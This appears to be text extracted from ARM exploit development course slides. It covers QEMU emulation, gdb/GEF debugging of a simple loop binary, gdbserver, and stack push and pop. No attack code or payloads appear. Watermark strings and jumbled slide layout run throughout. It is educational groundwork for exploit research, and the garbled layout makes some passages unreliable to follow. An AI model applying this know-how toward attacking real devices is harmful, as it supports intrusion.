It’s ok if you find yourself having to look back and verify what you think certain instructions do. It takes a
while to get used to reading ARM assembly, but the more you do it, the easier it gets.
Reference:
https://developer.arm.com
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Emulating ARM
09b91222e5d2d3d668cf8e52ec5d35ba
While the number of laptops and desktops with ARM processors is rising, many of us
are not running on ARM systems (yet). Being able to emulate and run ARM binaries on
micede1865@wii999_com
non-ARM systems allows researchers to verify and test what they are learning through
dynamic analysis. Being able to emulate ARM systems allows us to stand up target
environments, debug processes, troubleshoot shellcode, or even set up custom fuzzers.
This section provides a quick overview of how we emulate ARM.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Observe dynamic functionality
• Confirming assumptions about how the program works
• Debugging
• Logging
• Tracing
micede1865@wii999_com
• Modifying and recompiling
• Fuzzing / automating test cases
Working with programs dynamically can take away some of the guess work that comes with just doing static
analysis. Being able to actually run ARM programs allows us to confirm what we learn from static analysis.
We don’t always have ARM hardware at our disposal, so being able to emulate ARM is a good thing to know
Paul Erwin
how to do. As far as exploit development, being able to run ARM helps confirm assumptions, allows us to
debug to step through and examine memory. If a program has any sort of logging, we might be able to
leverage this to see what is happening according to log output. If we are researching a target binary or tool and
have the source code, it may be helpful to compile and run the program dynamically with any changes that we
want to implement.
If we can run the target binary in ARM, it may be possible to run it in a fuzzer. Different fuzzers, such as AFL,
can take advantage of emulation tools such as qemu.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Full system ubuntu:~/labs/simple_loop$ apt show qemu
...
• User mode PowerPC, SH4, SPARC and x86-64 emulation. By using dynamic
translation, it achieves reasonable speed while being easy
emulation to port on new host CPUs. QEMU has two operating modes:
micede1865@wii999_com
• Partial emulation
• Unicorn, Ghidra, •
compiled for one CPU on another CPU.
There are a few different ways that we can emulate ARM. With full system emulation, qemu (which stands for
“quick emulator”) provides us with a fully functional interactive system. We can watch the system boot up and
interact with it through its console. The qemu Linux systems that we will be running in our lab environment
Paul Erwin
will appear as if they are running on ARM hardware and will be accessed via ssh. Qemu also provides a way
to execute standalone processes via qemu-arm, its user mode emulator. Qemu supports other architectures and
graphical interfaces, but we will not be needing this for our labs.
Partial emulation is also available. By partial emulation, we are referring to only emulating part of a binary,
not the whole process, much less an entire operating system. Sometimes emulation of a partial version of a
binary is beneficial when dealing with uncommon file types, like the ones you may find in a large firmware
image. Both Radare2 and Unicorn can be used to do this and Ghidra also offers partial emulation of binaries
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
through its extensive API.
Reference:
qemu.org
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Qemu startup scripts qemu armv7 qemu armv7 qemu aarch64
micede1865@wii999_com
nemo@hammerhead:~/qemu/mako$ cat start_mako.sh vmware x86_64
#!/bin/bash
qemu-system-arm \
-kernel ./boot/vmlinuz \
-initrd ./boot/focal-server-cloudimg-armhf-initrd-generic-lpae \
-drive file=./mako.img,format=qcow2 \
-append "rw root=/dev/vda2 ip=192.168.2.10:::::enp0s1" \
-no-reboot \
-nographic \
-m 1024M \
-M virt-2.8 \
-nic tap,script=./conf/qemu-myifup.sh
The hammerhead virtual machine is running on vmware as an x86_64 system. Within hammerhead, we will
emulate ARM virtual machines using qemu-system-arm’s full system emulation. Startup scripts are provided to
boot the ARM systems, but when you first venture out on your own, some of these parameters can be confusing.
Paul Erwin
A sample script with some additional comments is provided below.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
-drive file=./mako.img,format=qcow2 // We are specifying the disk image (mako.img) and
that it is in qcow2 format
-append "rw root=/dev/vda2 ip=192.168.2.10:::::enp0s1“// Startup kernel parameters,
here we specify the root partition and the ip address we want the system to use
-no-reboot //
-nographic //
-m 1024M // Use 1 gb or 1024 mb of memory
-M virt-2.8 // This is the machine type or hardware to emulate
// This script sets up the network
-nic tap,script=./conf/qemu-myifup.sh
live
connectivity between the host and the vm. An example of this script can be viewed in the hammerhead vm.
Reference:
man qemu-system-arm
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Debugging ARM
09b91222e5d2d3d668cf8e52ec5d35ba
Having debug capability on a target is a game changer. Being able to control a running
program, stop it at will and examine memory, takes a lot of the guesswork out of
exploit development. Whether it’s troubleshooting an overflow that is getting cut
micede1865@wii999_com
short due to a bad character or looking to see how many bytes you need to
overwrite a function pointer, debugging can save you a great amount of time and effort.
Static analysis is good, but being able dynamically run a program, set breakpoints, and
control the state is a huge benefit for both researchers and developers.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Connecting to a target process in order to observe and
interact with it at runtime
• Connect by
target
• Starting a new process in the debugger gdb
process
• Attaching to a running process
micede1865@wii999_com
• Benefits
• Controlled progression through the code
• Breakpoints Debugging is really, really
• Single stepping nice to have for exploit
development...really nice.
• Examine and modify registers and memory
• Change runtime configuration
24356915 SEC661 | ARM Exploit Development 44
Debugging can refer to “finding and eliminating bugs”, but it is better known to security researchers as a
technique for attaching to a process and observing it as it is running. When we debug a target program, we can
start and stop it at will and observe the registers and memory at different times during execution. Being able to
Paul Erwin
single step and set breakpoints is really nice for exploit development. We can observe the state of the program
while stepping through our exploit to ensure the memory corruption occurs as we expect and even walk
through our shellcode step by step. Many debuggers also offer scripting, conditional breakpoints and many
other helpful features.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Open source and widely supported
• Multiple architectures
Common GDB Commands
• Client/server design run
break *<address>
# Start running a loaded program
# Set breakpoint at address (aka “b”)
break name # Set breakpoint at symbol (aka “b”)
• Python support info registers # Display registers (aka “i r”)
micede1865@wii999_com
• GEF Plugin
• Exploit development
backtrace
disassemble <address>
disassemble <name>
stepi
# Show stacktrace (aka “bt”)
# Show assembly starting at address
# Show assembly starting at symbol
# Step single instruction (aka “si”)
x/<format><address> # Examine memory using format,
• Enhanced visualization starting at address
info proc mappings # Display memory map
• Enabled in ~/.gdbinit help <info/set/*> # Show help for different commands
See the cheat sheet in the workbook for more gdb commands
When it comes to Linux, the GNU Project Debugger also known as gdb is the debugger of choice for many
security professionals. It is a robust tool that supports multiple architectures (gdb-multiarch). We will be
using gdb quite a bit throughout the remainder of this course. Another useful benefit is that gdb offers a
Paul Erwin
client/server architecture which we will visit later in this section.
GEF (GDB Enhanced Features, pronounced “jeff”) is a python plugin for gdb that makes things a little easier
while working in gdb. It does this by displaying useful information and offering additional commands which
can be viewed by running “gef help” while debugging in gdb.
If you want to just use gdb without gef, you can disable the plugin by commenting out the only line
in the ~/.gdbinit file. The contents of the line entry may look different on your system. When
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
you prepend the “source” line with a “#”, character, it will no longer include the gef plugin when gdb
is launched.
Comment out the gef plugin by adding a ‘#’ at the beginning of the line.
Reference:
https://www.gnu.org/software/gdb/
https://gef.readthedocs.io/en/master/
© 2021 Hungry Hackers, LLC 45
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||
09b91222e5d2d3d668cf8e52ec5d35ba
• Pause a running program at a designated address
• From here you can observe and modify program state
• register values, local variables, the stack, heap memory, etc.
micede1865@wii999_combreak *<address>
break <name>
info breakpoints
# Set breakpoint at address (aka “b”)
# Set breakpoint at a symbol name
# Display breakpoints
enable/disable <#> # Enable/disable a breakpoint by number
delete <#> # Delete breakpoint by number
delete # Delete all breakpoints
gef➤ b *0x1049e
help break
Example:
Paul Erwin
GEF does a nice job of displaying a lot of information automatically.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
gef config context.layout "regs code"
run
si (multiple times)
0x00010498 <+24>: str
0x0001049a <+26>: ldr
0x0001049c <+28>: ldr
0x0001049e <+30>: cmp
0x000104a0 <+32>:blt.n
r3, [r7, #8]
r2, [r7, #8]
r3, [r7, #12]
r2, r3
0x10494 <main+20>
x/4w $r7 (examine what r7 points to) 0x000104a2 <+34>: ldr r1, [r7, #8]
0x000104a4 <+36>: ldr r3, [pc, #16]
0x000104a6 <+38>: add r3, pc
0x000104a8 <+40>: mov r0, r3
0x000104aa <+42>: bl 0x14dac <printf>
0x000104ae <+46>: movs r3, #0
0x000104b0 <+48>: mov r0, r3
0x000104b2 <+50>: adds r7, #16
0x000104b4 <+52>: mov sp, r7
24356915
0x000104b6 <+54>: pop {r7, pc}
We will be debugging the simple_loop_static.arm binary with gdb. Once gdb has loaded the binary,
Paul Erwin
we set a breakpoint at 0x10482. This breakpoint address is just inside the main function. Once it is hit, we will
single step using the ‘si’ command and observe changes to the running process.
Note: When setting the breakpoint below, the address may vary, but we want to break on the ‘sub sp, 16’
instruction near the beginning of the main function.
b *0x00010482
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047d <frame_dummy+37> b.n 0x103fc <register_tm_clones>
0x1047f <frame_dummy+39> nop assembly
0x10481 <main+1> push {r7, lr}
current → 0x10483 <main+3> sub sp, #16 instructions
instruction 0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
command ────────────────────────────────────────────────────────────────────────────────
gef➤
prompt
In this example, some of the path names you see (i.e., /home/john/) will be different than what you see in your
vm.
Paul Erwin
Here we have issued the run command and hit the breakpoint. The display is showing a list of registers
followed by some assembly instructions. This layout is because we ran the following command to specify that
we wanted to see registers and code:
A small arrow in the list of instructions indicates where PC is pointing to. Remember that PC always points to
the next instruction to be executed.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Notice the address of the instruction is an odd number. gef is showing us that it is a THUMB instruction. This
is a little bit strange, because we see a different value for PC in the register list. This is due to the fact that gef
is trying to make it clear that the instruction is in fact THUMB. It also shows us this by displaying
“code:arm:THUMB”.
live
09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
Subtract 16 (0x10) from the sp register.
After this instruction, sp (currently
$r8 : 0x0 0xbefffa48) should become 0xbefffa38.
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa48 → 0x00000000
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010482 → <main+2> sub sp, #16
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047d <frame_dummy+37> b.n 0x103fc <register_tm_clones>
0x1047f <frame_dummy+39> nop
0x10481 <main+1> push {r7, lr}
→ 0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
────────────────────────────────────────────────────────────────────────────────
gef➤ si si = step instruction (single step)
As we step through instructions using the “si” command, it is a good time to reinforce what assembly
instructions we learned. If we are at the instruction ‘sub sp, #16’, we know that 16 will be subtracted from the
current value of sp and stored back into the sp register. We can see the values in the registers and can predict
Paul Erwin
what they should be once the current instruction has been executed.
The value of 16 in hexadecimal is 0x10, so after this instruction 0x10 will be subtracted from the current sp
value and stored back into the sp register.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047f <frame_dummy+39> nop
0x10481 <main+1> push {r7, lr}
0x10483 <main+3> sub sp, #16 Add 0 to sp and store the result in r7.
→ 0x10485 <main+5> add r7, sp, #0 After this instruction, r7 should hold
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0xbefffa38. It will be the same as sp.
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
────────────────────────────────────────────────────────────────────────────────
gef➤ si
We see the expected result in sp just as we predicted from the previous slide. 0x10 was subtracted from the
previous value and stored back in sp.
Paul Erwin
Let’s do another one. For this instruction, we see ‘add r7, sp, #0’. By adding 0 to a register and storing
the result in another register, we are essentially copying the value into the other register. After this instruction,
r7 should hold the same value as the sp register.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010486 → <main+6> str r0, [r7, #4]
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10481 <main+1> push {r7, lr}
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0 Store the value of r0 (0x1) at the
→ 0x10487 <main+7> str r0, [r7, #4] address pointed to by r7 (0xbefffa38)
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
plus 4 (0xbefffa3c).
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
────────────────────────────────────────────────────────────────────────────────
gef➤ si
From the previous instruction, we see in the list of registers that r7 now holds the same value as sp. This
means the last instruction worked as expected.
Paul Erwin
The next instruction, ‘str r0, [r7, #4]’ is going to store the value in r0 at the address of r7+ 4.
Currently, the r0 register holds 0x1, so we should expect to see this value stored at r7+4 after this
instruction executes.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB
x/4wx $r7 ────
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4] The x command allows us to examine
→ 0x10489 <main+9> str r1, [r7, #0] data in various formats. This command
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12] tells gdb to examine (x) 4 words (w) in
0x1048f <main+15> movs r3, #0 hex (x) starting at the address r7 ($r7).
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
────────────────────────────────────────────────────────────────────────────────
gef➤
The instruction ‘str r1, [r7, #4]’ has just executed. Before stepping to the next instruction, let’s look
at the result of the previous str instruction. We do this by using the ‘x’ command in gdb which allows us to
examine memory. By running the command below, we display memory starting at the address of r7
Paul Erwin
(0xbefffa38). If we add 4 bytes (0xbefffa3c), we see the value of 0x00000001. This is the result of r0 being
stored at r7+4.
Note: It may be helpful to remember the pattern following pattern when counting in hexadecimal: 0x0, 0x4,
0x8, 0xc, 0x10
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
x allows us to specify a format to display areas of memory
x/10bx 0xbefffa38 x/5i $pc x/20wx $sp x/1s 0x6194c
x/ = examine x/ = examine x/ = examine x/ = examine
10 = 10 count 5 = 5 count 20 = 20 count 1 = 1 count
b = bytes (size) i = instructions w = words (size) s = string
x = hex $pc = start at x = hex 0x6194c = at this
0xbefffa38 = start this register $sp = start at address
at this address this register
micede1865@wii999_com
Examples
(gdb) help x
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string)
and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The x command allows us to specify how we want to display areas of memory. You should specify the best
format for the data according to the location you are examining. The x command takes some getting used to,
but once you get the hang of it, you will find that it is extremely useful when debugging with gdb.
Paul Erwin
Let's breakdown the following command.
x/20wx $sp
We want to examine memory x/. The debugger knows that the format will follow the slash.
Show us '20' words 'w' in hexadecimal 'x'.
Start displaying memory at the address in the '$sp' register.
What if we wanted to see this in single bytes instead of words? We substitute the 'w' for the 'b'.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0 Store the value of r1 at the address
0x10487 <main+7> str r0, [r7, #4] pointed to by r7 (0xbefffa38) plus 0.
→ 0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12] After this instruction, r7 should point to
0x1048f <main+15> movs r3, #0 the value held by r1 (0xbefffb94).
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
────────────────────────────────────────────────────────────────────────────────
gef➤ si
When gef displays the registers, it interprets what the registers point to. This is helpful, but can be misleading
at times, so take what you see with a grain of salt and know that gef is just trying to make things easy for us.
Paul Erwin
Let’s do a few more instructions to make sure we’ve got the hang of this. The next instruction will store the
value in r1 into the address that r7 points to. Single step using the ‘si’ command and then let’s look at the
result.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000 gef➤ x/4wx $r7
$r11 : 0x0
0xbefffa38: 0xbefffb94 0x00000001 0x00000000 0x00000000
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x0001048a → <main+10> movs r3, #10
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
→ 0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
0x10495 <main+21> ldr r3, [r7, #8]
────────────────────────────────────────────────────────────────────────────────
gef➤
At this point you should be able to understand the x/4wx $r7 command. If not, feel free to look back a few
slides to get a breakdown of the command syntax.
Paul Erwin
This command shows that the last instruction did in fact store the value in r1 (0xbefffb94) in the value
pointed to by the r7+0 (or just r7).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
→ 0x1048b <main+11> movs r3, #10 Move 10 (0xa) into r3.
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
0x10495 <main+21> ldr r3, [r7, #8]
────────────────────────────────────────────────────────────────────────────────
gef➤ si
By this time, you have walked through several ARM assembly instructions. Hopefully, you are beginning to
see that assembly isn’t too hard if you break it down step-by-step. In this instruction, the value of 10 (decimal)
is being moved into r3. Does this seem like an easy one? After this instruction, r3 should hold 0xa.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0xa
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x0001048c → <main+12> str r3, [r7, #12]
micede1865@wii999_com
$cpsr: [negative zero CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
→ 0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
0x10495 <main+21> ldr r3, [r7, #8]
0x10497 <main+23> adds r3, #1
────────────────────────────────────────────────────────────────────────────────
gef➤
We see that 10 (0xa) has been moved into r3. We get it!
If in the future, you find yourself doing static analysis and can’t quite figure out what an instruction or group
Paul Erwin
of instructions is doing and you have the option to run the target program in a debugger, you can step through
the instructions to see what actually happens in a running program.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
b *0x104a0
run
(observe r2, r3 and CPSR at the breakpoint)
0x00010498 <+24>: str
0x0001049a <+26>: ldr
0x0001049c <+28>: ldr
0x0001049e <+30>: cmp
0x000104a0 <+32>:blt.n
0x000104a2 <+34>: ldr
r3, [r7, #8]
r2, [r7, #8]
r3, [r7, #12]
r2, r3
0x10494 <main+20>
r1, [r7, #8]
c (repeat the “c” command until you break out of the loop) 0x000104a4 <+36>: ldr r3, [pc, #16]
0x000104a6 <+38>: add r3, pc
0x000104a8 <+40>: mov r0, r3
0x000104aa <+42>: bl 0x14dac <printf>
0x000104ae <+46>: movs r3, #0
0x000104b0 <+48>: mov r0, r3
0x000104b2 <+50>: adds r7, #16
0x000104b4 <+52>: mov sp, r7
24356915
0x000104b6 <+54>: pop {r7, pc}
Note: When setting the breakpoint below, the address may vary, but we want to break on the instruction
Paul Erwin
following the ‘cmp r2, r3’ instruction in the main function.
b *0x104a0
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• In Ghidra, we see the loop
branch if r2 is less than r3
(blt)
• When this condition is no
longer true, execution will
micede1865@wii999_com
not branch and will exit don’t
branch branch
the loop
We will look at Ghidra in a later session, but here we see the function graph view, which shows the branching
options in a graphical format. In this example, if we do branch, we jump back and repeat the loop. If we don’t
branch, we continue on in sequence with the instructions and break out of the loop.
Paul Erwin
It’s good to have multiple tools to approach the problem from different angles, but it is more important to
understand the fundamentals of what is happening.
Ghidra and other static analysis tools allow us to see the bigger picture and then drill down as needed.
Debugging can show us specific things as they are happening while we are actually running the program.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Remote debugging stub that works over TCP/IP
• Common interface supported by various clients
• GDB (of course), IDA Pro, Radare2, Ghidra, etc
micede1865@wii999_com
gdb
target
process
gdb tcp/ip gdbserver
target
process
(network)
Gdb comes with a secondary component called gdbserver that is designed to run on a target system. The
gdbserver stub is much smaller and provides the ability to attach to a running process and listen for commands
from a gdb client coming over a network. This stub can be cross compiled and ran on target system (i.e., a
Paul Erwin
router or iot device) even if it is a different architecture. The gdb client must be configured for the correct type
of architecture that it is communicating with.
Notice the size difference between gdb (over 8MB) and gdbserver (510KB). This is good for embedded
systems since the smaller size is convenient for putting gdbserver on devices that might have a limited storage
capacity (i.e., IoT devices).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
-rwxr-xr-x 1 root root 8.1M Aug 4 2020 /usr/bin/gdb
Note: Leaving a gdbserver listening on a target can be a security risk, since other clients can connect and take
over the target service. Be careful when using this tool and don’t run it in a production environment.
live
There are lots of ARM assembly instructions and learning them takes time. This lab is designed to get you
familiar with some common instructions by stepping through them one at a time and observing the affects
they have on the system. If you are new to ARM assembly, it may seem overwhelming, but don't be
discouraged; you will begin to notice patterns the more you work with it.
OBJECTIVES PREPARATION
•
•
•
micede1865@wii999_com
Using the gdb debugger with the gef plugin
Setting breakpoints
Single stepping through ARM assembly
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
The Stack
09b91222e5d2d3d668cf8e52ec5d35ba
The stack is a central data structure and one that is especially important for exploit
development. It is used for many things such as saving state, passing arguments
micede1865@wii999_com
between functions, and storing local variables. The stack works the same between
many different architectures and falls under heavy scrutiny as a straightforward attack
vector. Understanding how the stack works and its role on the target system is one of
the core fundamentals of exploit development.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Data structure used by functions for:
• Storing local variables
• Passing arguments to other functions
• Returning to the calling function
• Saving state (context)
micede1865@wii999_com
• The top address of the stack is stored in the SP register
• LIFO (last in / first out) Each thread has its own fixed-size stack
that gets established when the thread is
created.
When a new thread spins up on a system, it gets a fixed amount of stack space associated with it. The
functions used by the thread use the stack for passing arguments to other functions and storing local variables.
The stack is a critical data structure and heavily used for quick data storage. The top of the stack can always be
Paul Erwin
found by looking at the address stored in the SP register. It is a last in / first out data structure, meaning the last
thing that gets stored there is the first thing to be popped out.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Push data onto the stack
• Grow the stack
• Pop data off the stack
Grow (Push)
• Shrink the stack
micede1865@wii999_com
32-bit / 4-byte increments
Example: 0x44332211 Shrink (Pop)
The Stack
For 32-bit systems, the width of the stack is 32-bits or 4 bytes. We grow the stack by pushing values on top of
the stack. This will grow the stack by 4 bytes every time a value is pushed onto the stack. Conversely, we
shrink the stack by popping a 32-bit value off the top of the stack.
Paul Erwin
This is similar to a stack of plates. When we add another plate to the top of a stack, we push a value off the
stack and when we remove a plate, we are popping a value off the stack. Just remember, pushing onto the
stack grows the stack and popping off the stack shrinks the stack.
Whenever we push or pop, the stack pointer gets updated so that it always points to the top of the stack.
As you may have guessed, in 64-bit system, the stack is 64-bit or 8-bytes wide.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
0x00000004 SP 0x00000004
SP
mov r2, #4
push {r2} Grow (Push)
micede1865@wii999_com
The Stack (before) The Stack (after)
This illustration shows the value 4 being moved into r2 and then r2 being pushed onto the stack. The stack
pointer (SP) register gets adjusted and now points to the address holding the value 0x4 at the top of the stack.
After the push instruction, the value that was in r2 stays in r2.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
0x00000001
SP 0x00000001
0x00000004
0x00000004
0x00000006 0x00000006
SP
Grow (Push)
MOV R1, #1
MOV R2, #4
micede1865@wii999_com
MOV R3, #6
We can push multiple values onto the stack using a single ARM assembly instruction. This illustration shows
values moving into three registers (r1-r3) and those registers all being pushed onto the stack in a single
instruction. The braces { } allow for multiple values to be pushed onto the stack. Instead of shifting 4 bytes,
Paul Erwin
the SP will shift 12 (0xc) bytes to account for each of the new 32-bit values that have been pushed onto the
stack. The registers r1-r3, will still hold the same values after the push instruction.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
r3 ?
(before)
POP {r3}
r3 0x00000099
(after)
SP 0x00000099
SP Shrink (Pop)
micede1865@wii999_com
The Stack (before) The Stack (after)
Pop is the opposite of push. When we pop a value off the top of the stack, we move it into the designated
register and shift the SP register so that the stack shrinks by 4 bytes. In the illustration above, we see that after
the ‘pop {r3}’ instruction, the value at the top of the stack 0x99 gets stored in the r3 register and the SP
register gets shifted.
Paul Erwin
